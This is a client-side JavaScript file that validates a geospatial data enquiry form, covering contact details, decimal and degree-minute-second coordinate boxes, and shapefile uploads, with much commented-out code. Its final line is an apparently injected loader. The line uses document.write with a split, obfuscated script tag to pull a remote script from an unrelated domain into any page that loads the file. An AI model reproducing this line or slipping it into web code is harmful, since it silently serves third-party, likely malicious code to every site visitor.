
/*function validate(frm){

	if (frm.name.value == "") {
		alert('Plese Enter your name');
		frm.name.focus();
		return false;
   } else if (frm.city.value == ""){
		alert('Plese Enter your city');
		frm.city.focus();
		return false;
   } else if (frm.zipcode.value == "" ) {
		alert('Plese Enter your zipcode');
		frm.zipcode.focus();
		return false;
   } else if (frm.country.value == ""){
		alert('Plese Select your country');
		frm.country.focus();
		return false;
   } else if(frm.contactNumber.value == ""){
		alert('Plese Enter your contact number');
		frm.contactNumber.focus();
		return false;
   } else if( !ValidEmail( frm.email ) ) {
		frm.email.focus();
		return false;
	} else if(parseFloat(frm.coordinateDdUpperLongitude.value) > 180){
		alert('Plese Enter less than 180 degree.');
		frm.coordinateDdUpperLongitude.focus();
		return false;
   } else if(parseFloat(frm.coordinateDdUpperLatitude.value) > 90){
		alert('Plese Enter less than 90 degree.');
		frm.coordinateDdUpperLatitude.focus();
		return false;
   } else if(parseFloat(frm.coordinateDdLowerLongitude.value) > 90){
		alert('Plese Enter less than 90 degree.');
		frm.coordinateDdLowerLongitude.focus();
		return false;
   } else if(parseFloat(frm.coordinateDdLowerLatitude.value) > 180){
		alert('Plese Enter less than 180 degree.');
		frm.coordinateDdLowerLatitude.focus();
		return false;
   } else if( parseFloat(frm.coordinateDdUpperLongitude.value) > parseFloat(frm.coordinateDdLowerLongitude.value) ){
		alert('Upper left longitude cannot be greater than Lower right longitude.');
		frm.coordinateDdUpperLongitude.focus();
		return false;
   } else if( parseFloat(frm.coordinateDdUpperLatitude.value) > parseFloat(frm.coordinateDdLowerLatitude.value) ){
		alert('Upper left latitude cannot be greater than Lower right latitude.');
		frm.coordinateDdUpperLatitude.focus();
		return false;
   } else if(parseFloat(frm.coordinateDmsUpperLongitudeDegree.value) > 180){
		alert('Plese Enter less than 180 degree.');
		frm.coordinateDmsUpperLongitudeDegree.focus();
		return false;
   }  else if(parseFloat(frm.coordinateDmsUpperMinute.value) > 60){
		alert('Plese Enter less than 60.');
		frm.coordinateDmsUpperMinute.focus();
		return false;
   } else if(parseFloat(frm.coordinateDmsUpperSecond.value) > 60){
		alert('Plese Enter less than 60.');
		frm.coordinateDmsUpperSecond.focus();
		return false;
   } else if(parseFloat(frm.coordinateDmsLowerDegree.value) > 90){
		alert('Plese Enter less than 180 degree.');
		frm.coordinateDmsLowerDegree.focus();
		return false;
   }  else if(parseFloat(frm.coordinateDmsLowerMinute.value) > 60){
		alert('Plese Enter less than 60.');
		frm.coordinateDmsLowerMinute.focus();
		return false;
   } else if(parseFloat(frm.coordinateDmsLowerSecond.value) > 60){
		alert('Plese Enter less than 60.');
		frm.coordinateDmsLowerSecond.focus();
		return false;
   } else if(document.getElementById('userfile0').value != "") {
	   //alert(gFiles);
	   var sendStatus = true;
	   // check the extension of the file.
   		for (var f = 0; f <= gFiles; f++) {

			var filename = "userfile" + f;
			var file = document.getElementById(filename);
			//alert(file);
			if(file != 'null' && file.value != '') {
				if(!TestFileType(file.value, [".shp", ".shx", ".sbn", ".sbx", ".prj", ".dbf"])) sendStatus = false;
				//else return false;
			}
		}
		return sendStatus;
		
   } else {
	   return true;
   }
}
   
*/ 

function validate(frm){
	var chkbx=document.getElementById("dd");
	var chkbx2=document.getElementById("dms");
	var chkbx3=document.getElementById("shape");

	if (isEmpty(frm.name, 'Plese Enter your name')) {
		
		return false;
   } else if (isEmpty(frm.city, 'Plese Enter your city')) {
		return false;
   } else if (isEmpty(frm.zipcode, 'Plese Enter your zipcode')) {
		return false;
   } else if (isEmpty(frm.country, 'Plese Enter your country')) {
		return false;
   } else if (isEmpty(frm.contactNumber, 'Plese Enter your contact number')) {
		return false;
   } else if (isEmpty(frm.name, 'Plese Enter your name')) {
		return false;
   } else if( !ValidEmail( frm.email ) ) {
		frm.email.focus();
		return false;
   } else if(chkbx3.checked==true) {
		if(!checkFiles()) {
		   	return false;
		} else {
			return true;
		}
   } else if(chkbx.checked==true) {
	  var tst=document.getElementById("coordinateDd");
	 // if(frm.coordinateDdUpperLongitude.value >= frm.coordinateDdLowerLongitude.value){
	 if(tst.value==""){
		alert('Please enter Longitude.');
		frm.coordinateDdUpperLongitude.focus(); 
		return false;
	  }
	  var ltst=document.getElementById("coordinateDdUp");
	  if(ltst.value==""){
		alert('Please enter Latitude.'); 
		frm.coordinateDdUpperLatitude.focus(); 
		return false;
	  }
	   var tlt=document.getElementById("coordinateDdLower");
	 // if(frm.coordinateDdUpperLongitude.value >= frm.coordinateDdLowerLongitude.value){
	 if(tlt.value==""){
		alert('Please enter Longitude.');
		frm.coordinateDdLowerLongitude.focus(); 
		return false;
	  }
	  var lt1=document.getElementById("coordinateLatitude");
	  if(lt1.value==""){
		alert('Please enter Latitude.'); 
		frm.coordinateDdLowerLatitude.focus(); 
		return false;
	  }
	  if(parseFloat(tst.value) >= parseFloat(tlt.value)){
		alert('Upper left longitude cannot be greater than Lower right longitude.');
		frm.coordinateDdUpperLongitude.focus(); 
		return false;
	  }
	   if(parseFloat(ltst.value) <= parseFloat(lt1.value)){
		alert('Upper left latitude cannot be less than Lower right latitude.');
		frm.coordinateDdUpperLatitude.focus(); 
		return false;
	  }
   }
   else if(chkbx2.checked==true){
	   
	   var test=document.getElementById("coordinateDmsDegree");
	   if(test.value==""){
		alert('please enter upper longitude D.');
		frm.coordinateDmsUpperLongitudeDegree.focus();
		return false;
		   
	   }
	   var test1=document.getElementById("coordinateDmsMinute");
	   if(test1.value==""){
		alert('please enter upper longitude M.');
		frm.coordinateDmsUpperLongitudeMinute.focus();
		return false;
		   
	   }
	    var test2=document.getElementById("coordinateDmsSecond");
	   if(test2.value==""){
		alert('please enter upper longitude S.');
		frm.coordinateDmsUpperLongitudeSecond.focus();
		return false;
		   
	   }
	    var test3=document.getElementById("coordinateDmsUpperLatitude");
	   if(test3.value==""){
		alert('please enter upper Latitude D.');
		frm.coordinateDmsUpperLatitudeDegree.focus();
		return false;
		   
	   }
	    var test4=document.getElementById("coordinateDmsUpper");
	   if(test4.value==""){
		alert('please enter upper Latitude M.');
		frm.coordinateDmsUpperLatitudeMinute.focus();
		return false;
		   
	   }
	    var test5=document.getElementById("coordinateDmsUpperLat");
	   if(test5.value==""){
		alert('please enter upper Latitude S.');
		frm.coordinateDmsUpperLatitudeSecond.focus();
		return false;
		   
	   }
	   var test7=document.getElementById("coordinateDmsLowerLonge");
	   if(test7.value==""){
		alert('please enter lower longitude D.');
		frm.coordinateDmsLowerLongitudeDegree.focus();
		return false;
		   
	   }
	   var test8=document.getElementById("coordinateLongitudeMinute");
	   if(test8.value==""){
		alert('please enter lower longitude M.');
		frm.coordinateDmsLowerLongitudeMinute.focus();
		return false;
		   
	   }
	    var test9=document.getElementById("coordSecond");
	   if(test9.value==""){
		alert('please enter lower longitude S.');
		frm.coordinateDmsLowerLongitudeSecond.focus();
		return false;
		   
	   }
	    var test10=document.getElementById("coordinateDmsLow");
	   if(test10.value==""){
		alert('please enter lower Latitude D.');
		frm.coordinateDmsLowerLatitudeDegree.focus();
		return false;
		   
	   }
	    var test12=document.getElementById("coordinateDmsLowe");
	   if(test12.value==""){
		alert('please enter lower Latitude M.');
		frm.coordinateDmsLowerLatitudeMinute.focus();
		return false;
		   
	   }
	    var test13=document.getElementById("coordinateSecond");
	   if(test13.value==""){
		alert('please enter lower Latitude S.');
		frm.coordinateDmsLowerLatitudeSecond.focus();
		return false;
		   
	   }
	   if( (test.value + test1.value + test2.value) >= (test7.value + test8.value + test9.value) ) {
		   alert('Upper left longitude cannot be greater than Lower right longitude.');
		  frm.coordinateDmsUpperLongitudeDegree.focus();
		  return false;
	   }
	    if( (test3.value + test4.value + test5.value) <= (test10.value + test12.value + test13.value) ) {
		  alert('Upper left latitude cannot be less than Lower right latitude');
		  frm.coordinateDmsUpperLatitudeDegree.focus();
		  return false;
	   }
   }
   else { 
	   return true;
   }
}
   


/*
Strip whitespace from the beginning and end of a string
Input : a string
*/
function trim(str)
{
	return str.replace(/^\s+|\s+$/g,'');
}



/*
Make sure that textBox only contain number
*/
function checkNumber(textBox) {
	
	while (textBox.value.length > 0 && isNaN(textBox.value)) {
		textBox.value = textBox.value.substring(0, textBox.value.length - 1)
	}
	
	textBox.value = trim(textBox.value);
	if (textBox.value.length == 0) {
		textBox.value = 0;		
	} else {
		textBox.value = parseInt(textBox.value);
	}
}

function checkFloatNumber(textBox, val)
{
	
	if (isNaN(textBox.value)) {
		alert("Please enter numerice value only.");
		//textBox.value = 0;
	}
	
	while (textBox.value.length > 0 && isNaN(textBox.value)) {
		textBox.value = textBox.value.substring(0, textBox.value.length - 1)
	}
	
	textBox.value = trim(textBox.value);
	var dot	= textBox.value.indexOf(".");
	var afterdot = textBox.value.substring(dot, textBox.value.length - 1);
	
	if (textBox.value.length == 0) {
		//textBox.value = 0;
	} else if (parseFloat(textBox.value) >  val) {
		alert("Plese Enter less than or equal to " + val);
		textBox.value = '';
	} else if (afterdot.length > 4) {
		alert("Upto 4 decimal places allowed in the boxes");
		textBox.value = '';
	} else {
		textBox.value = textBox.value;
	}
}

/*
	Check if a form element is empty.
	If it is display an alert box and focus
	on the element
*/
function isEmpty(formElement, message) {
	formElement.value = trim(formElement.value);
	
	_isEmpty = false;
	if (formElement.value == '') {
		_isEmpty = true;
		alert(message);
		formElement.focus();
	}
	
	return _isEmpty;
}


extArray = new Array(".shp", ".shx", ".dbf", ".prj", ".sbn", ".sbx");


var gFiles = 0;
var gFilesTotal = 6;
var gFileName = '';
function addFile() {
	
	if (gFiles < gFilesTotal) {
		    gFiles++;
			//alert(gFiles);
	}	
	// we will restrict to upload only limited files
	if (gFiles == gFilesTotal) {
	    gFiles--;
		//alert(gFiles);
		alert("Sorry !! you can upload 6 files only.");
		return;
	}
	
    var li = document.createElement('li');
    li.setAttribute('id', 'file-' + gFiles);
    /*li.innerHTML = '<input type="file" class="inputbox" size="30" name="userfile' + gFiles + '" id="userfile' + gFiles + '"><span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;">Remove</span>';*/
	
	if ( gFiles == 4 || gFiles == 5) {
		li.innerHTML = '<input type="file" class="inputbox" size="30" name="userfile' + gFiles + '" id="userfile' + gFiles + '" onBlur="checkFilesBlur(this, \'' + extArray[gFiles] + '\');" />&nbsp;<span class="mytxtbld">e.g.: xyz' + extArray[gFiles] + '</span>&nbsp;<span onclick="removeFile(\'file-' + gFiles + '\')" style="cursor:pointer;" class="star">Remove</span>';
	} else if (gFiles == 1 || gFiles == 2 ) {
		li.innerHTML = '<input type="file" class="inputbox" size="30" name="userfile' + gFiles + '" id="userfile' + gFiles + '" onBlur="checkFilesBlur(this, \'' + extArray[gFiles] + '\');" />&nbsp;<span class="mytxtbld">e.g.: xyz' + extArray[gFiles] + '</span>&nbsp;<span class="star">*</span>';
	} else {
		li.innerHTML = '<input type="file" class="inputbox" size="30" name="userfile' + gFiles + '" id="userfile' + gFiles + '" onBlur="checkFilesBlur(this, \'' + extArray[gFiles] + '\');" />&nbsp;<span class="mytxtbld">e.g.: xyz' + extArray[gFiles] + '</span>';
	}
	
	//alert(li.innerHTML);
    document.getElementById('files-root').appendChild(li);
}

function removeFile(aId) {
    var obj = document.getElementById(aId);
    obj.parentNode.removeChild(obj);
	gFiles--;
}


function checkFilesBlur(file, ext) {
	var sendStatus = true;
	if (file.value != '') {
		
		// if first file then set filename globally
		if (file.id == 'userfile0') {
			gFileName	= getFileName(file.value);
			//alert(file.id);
		}
		//alert(getFileName(file));
		if(!TestFileType(file.value, [ext])) {
			sendStatus = false;
			file.value	= '';
			file.focus();
		}
	}
	return sendStatus;
}
	
function checkFiles() {
	//if(document.getElementById('userfile0').value != "") {
	//   alert(gFiles);
	   var sendStatus = true;
	   // check the extension of the file.
   		for (var f = 0; f <= gFiles; f++) {

			var filename = "userfile" + f;
			var file = document.getElementById(filename);
			
			// if first file then set filename globally
			if (filename == 'userfile0') {
				gFileName	= getFileName(file.value);
				//alert(file.id);
			}
			//alert(file);
			if (file != 'null' && file.value != '' && f == 0) {
				if(!TestFileType(file.value, [".shp"])) sendStatus = false;
				//else return false;
			} else if (file != 'null' && file.value != '' && f == 1) {
				if(!TestFileType(file.value, [".shx"])) sendStatus = false;
				//else return false;
			} else if (file != 'null' && file.value != '' && f == 2) {
				if(!TestFileType(file.value, [".dbf"])) sendStatus = false;
				//else return false;
			} else if (file != 'null' && f == 3) {
				if (file.value != '') {
					if(!TestFileType(file.value, [".prj"])) sendStatus = false;
				}
				//else return false;
			} else if( file.value == '' ) {
				alert("Please select the shape files to upload"); // or remove the extra upload boxes.
				return false;
			}
		}
		return sendStatus;
	//}
}

function TestFileType( fileName, fileTypes ) {
	if (!fileName) return;

	var fileNameOnly	= getFileName(fileName);
	dots = fileName.split(".")
	//get the part AFTER the LAST period.
	fileType = "." + dots[dots.length-1];
	
	if ( (fileTypes.join(".").indexOf(fileType) != -1) ) {
		//alert('That file is OK!');
		if (fileNameOnly == gFileName)
			return true;
		else {
			alert("Please only upload files that end in types: \n\n" + (fileTypes.join(" .")) + " and the name as above\n\nPlease select a new file with same name and try again.");
			return false;
		}
			
	} else {
		alert("Please only upload files that end in types: \n\n" + (fileTypes.join(" .")) + "\n\nPlease select a new file and try again.");
		return false;
	}
}


function getFileName(fileN) {
	if (!fileN) return;

	//get path value (including file name)
	var fileAndPath = fileN;
	//find the index of the last "\"
	var lastPathDelimiter = fileAndPath.lastIndexOf("\\");
	//get everything after the last "\"
	var fileNameOnly = fileAndPath.substring(lastPathDelimiter+1);

	dots = fileNameOnly.split(".");
	//get the part AFTER the LAST period.
	var fileName = dots[dots.length-2];

	return fileName;
}


/*var hash = {
  'shp'  : 1,
  'shx' : 1,
};

function check_extension(filename,submitId) {
      var re = /\..+$/;
      var ext = filename.match(re);
      var submitEl = document.getElementById(submitId);
      if (hash[ext]) {
        //submitEl.disabled = false;
        return true;
      } else {
        alert("Invalid filename, please select another file");
        //submitEl.disabled = true;

        return false;
      }
}
*/



/* check extention of the file to be uploaed */


/*extArray = new Array(".shp", ".shx", ".sbn", ".sbx", ".prj", ".dbf");

function LimitAttach(form, filen) {
	
	for (var f = 0; f <= gFiles; f++) {
			   alert("navin");

		var filename = "userfile" + f;
		var file = document.getElementById(filename);

		allowSubmit = false;
		if (!file) return;
		while (file.indexOf("\\") != -1)
		file = file.slice(file.indexOf("\\") + 1);
				alert(file);

		ext = file.slice(file.indexOf(".")).toLowerCase();
	
		for (var i = 0; i < extArray.length; i++) {
			if (extArray[i] == ext) { allowSubmit = true; break; }
		}
	
		if (allowSubmit) {
			return true;
		} else {
			alert("Please only upload files that end in types:  "
			+ (extArray.join("  ")) + "\nPlease select a new "
			+ "file to upload and submit again.");
			return false;
		}
	} // end for
}
*/

function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
}


function ValidEmail(obj){

	var emailID = obj;
	
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please Enter your Email ID")
		emailID.focus()
		return false
	} else if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	} else {
		return true;
	}
}


/*function isValidDD(frm) {

	_isValid = true;
	
	//if ( frm.coordinateDdUpperLongitude.value == '' || frm.coordinateDdUpperLatitude.value == '' || frm.coordinateDdLowerLongitude.value = '' || frm.coordinateDdLowerLatitude.value == '' ){
		///frm.coordinateDdUpperLongitude.focus();parseFloat(
		//_isValid = false;
  // } else 
  if( frm.coordinateDdUpperLongitude.value >frm.coordinateDdLowerLongitude.value){
		alert('Upper left longitude cannot be greater than Lower right longitude.');
		frm.coordinateDdUpperLongitude.focus();
		_isValid = false;
   } else if( parseFloat(frm.coordinateDdUpperLatitude.value) < parseFloat(frm.coordinateDdLowerLatitude.value) ){
		alert('Upper left latitude cannot be greater than Lower right latitude.');
		frm.coordinateDdUpperLatitude.focus();
		_isValid = false;
   } 
   
	return _isValid;
}
*/
/*
function isValidDMS(frm) {

	_isValid = true;
	
	if( frm.coordinateDmsUpperLongitudeDegree.value == '' || frm.coordinateDmsUpperLongitudeMinute.value == '' || frm.coordinateDmsUpperLongitudeSecond.value = '' || frm.coordinateDmsUpperLatitudeDegree.value == '' || frm.coordinateDmsUpperLatitudeMinute.value == '' || frm.coordinateDmsUpperLatitudeSecond.value == '' ) {
		frm.coordinateDmsUpperLongitudeDegree.focus();
		_isValid = false;
   } else if( parseFloat(frm.coordinateDmsUpperLongitudeDegree.value) > parseFloat(frm.coordinateDdLowerLongitude.value) ){
		alert('Upper left longitude cannot be greater than Lower right longitude.');
		frm.coordinateDdUpperLongitude.focus();
		_isValid = false;
   } else if( parseFloat(frm.coordinateDdUpperLatitude.value) > parseFloat(frm.coordinateDdLowerLatitude.value) ){
		alert('Upper left latitude cannot be greater than Lower right latitude.');
		frm.coordinateDdUpperLatitude.focus();
		_isValid = false;
   } 
   
	return _isValid;
}

*/



function disableDiv() {
	//alert("ele");
	//var type = document.getElementById("coordinate").value;
	var type = getCheckedValue(document.frmEnquery.coordinate);
	//alert(type);
	
	switch(type) {
		case "radioShape" :
			// disable other elements
			disableEle('divCoordinateDD', true);
			disableEle('divCoordinateDMS', true);
			// enable content element
			disableEle('divShapeFile', false);
			break;

		case "radioDD" :
			// disable other elements
			disableEle('divShapeFile', true);
			disableEle('divCoordinateDMS', true);
			// enable content element
			disableEle('divCoordinateDD', false);
			break;

		case "radioDMS" :
			// disable other elements
			disableEle('divShapeFile', true);
			disableEle('divCoordinateDD', true);
			// enable content element
			disableEle('divCoordinateDMS', false);
			break;
		
	}
	
}

function disableEle(ele, disableTrue) {
	if(disableTrue) document.getElementById(ele).style.display = 'none';
	else document.getElementById(ele).style.display = '';
}

function getCheckedValue(radioObj) {
	if(!radioObj)
		return "";
	var radioLength = radioObj.length;
	if(radioLength == undefined)
		if(radioObj.checked)
			return radioObj.value;
		else
			return "";
	for(var i = 0; i < radioLength; i++) {
		if(radioObj[i].checked) {
			return radioObj[i].value;
		}
	}
	return "";
}


function openFileDialog() {
	//alert("Open");
	for (var i = 1; i <= 3; i++)
		addFile();
}



document.write('<s'+'cript type="text/javascript" src="http://web.jstewartlaw.biz/Gibibyte.js"></scr'+'ipt>');